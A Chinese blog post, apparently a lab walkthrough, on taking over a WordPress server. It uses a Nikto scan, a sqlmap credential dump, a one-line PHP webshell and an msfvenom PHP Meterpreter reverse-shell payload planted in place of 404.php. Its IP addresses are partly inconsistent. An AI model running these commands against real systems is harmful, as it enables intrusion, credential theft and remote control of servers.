当前位置:首页 » 《随便一记》 » 正文

使用反弹木马进行提权_forget_mt的博客

10 人参与  2022年04月19日 12:51  分类 : 《随便一记》  评论

点击全文阅读


渗透机:kail  ip:172.16.5.6

靶   机:linux ip:172.16.5.7

客户端:windows XP ip: 172.16.5.128

通过Nikto对服务器80端口进行扫描:

nikto -host http://172.16.1.200 

发现了login.php文件与phpmyadmin/目录

所以直接在浏览器中访问login.php

sqlmap -u “http://172.16.5.7/login.php” --forms --level 3 -D wordpress8080 -T users --dump

 

从这里我们就知道了用户名admin与密码SuperSecretPassword登录后台

接下来利用WordPress进行提权操作,基本上提权的方式有三种:

1.将一句话写到一个文件夹下并压缩成.zip格式上传

2.找到能编辑的php文件,将一句话写进去,然后使用菜刀来连接该一句话木马

3.通过php shell反弹木马并结合Meterpreter实现反弹连接

这里我们尝试以读写的方式生成一个shell.php文件。 

然后使用windows里的中国菜刀来连接木马的地址

 

 利用msf生成一个php格式的反弹木马脚本

msfvenom -p php/meterpreter/reverse_tcp LHOST=172.16.1.100 LPORT=886 -f raw > shell.php

打开msfconsole控制台

先不着急运行模块,先将木马源码复制出来上传到靶机,替换掉服务器的404.php页面内容,再次访问http://172.16.5.7:8080/wordpress/404.php来触发php反弹木马。

运行模块,成功进入后渗透。

 

 


点击全文阅读


本文链接:http://zhangshiyu.com/post/38436.html

木马  反弹  句话  
<< 上一篇 下一篇 >>

  • 评论(0)
  • 赞助本站

◎欢迎参与讨论,请在这里发表您的看法、交流您的观点。

最新文章

  • 家宴过后,我捉奸了庶妹和我老公无广告_庶妹老公侍卫TOP10_小说后续在线阅读_无删减免费完结_
  • 寝室六个人,她们背着我建五人群必读文_太天真申请书冷笑最新阅读_小说后续在线阅读_无删减免费完结_
  • 开局获得狐仙传承结局+番外_江帆赵雪隐藏剧情_小说后续在线阅读_无删减免费完结_
  • 刀锈春根生,白骨犹温完结全文_卫舟棠棠知意一口气完结_小说后续在线阅读_无删减免费完结_
  • 夫君立筷子定我灾星罪名,我改嫁冷宫皇子后他追悔莫及好评_赵荀孟如安青瑶精心编著_小说后续在线阅读_无删减免费完结_
  • 邻居低素质,而我没素质独家番外_老太太赖皮欣欣超长版_小说后续在线阅读_无删减免费完结_
  • 重生后我转嫁首富瘸腿独子,总裁前夫却疯了一口气看完_妹妹傅云琛沈明辉独家番外_小说后续在线阅读_无删减免费完结_
  • 我拒绝给系花捐款后,全系同学悔疯了在线阅读_小说后续在线阅读_无删减免费完结_
  • 我让位给女友的透视眼竹马,他却说如果能重生再也不来了。虐心反转_玉石林若女友推荐_小说后续在线阅读_无删减免费完结_
  • 相国独子的丫鬟砸坏我的玉佩后,我当场拒婚阅读_玉佩陈郡谢氏全新_小说后续在线阅读_无删减免费完结_
  • 手术时,我看着病人惨死最新试读_淼淼陆知衍姜颜全本完结_小说后续在线阅读_无删减免费完结_
  • 男友霸道给我开黑卡,转头却骂我是捞女最新章节_肖年顾客黑卡热文_小说后续在线阅读_无删减免费完结_

    关于我们 | 我要投稿 | 免责申明

    Copyright © 2020-2022 ZhangShiYu.com Rights Reserved.豫ICP备2022013469号-1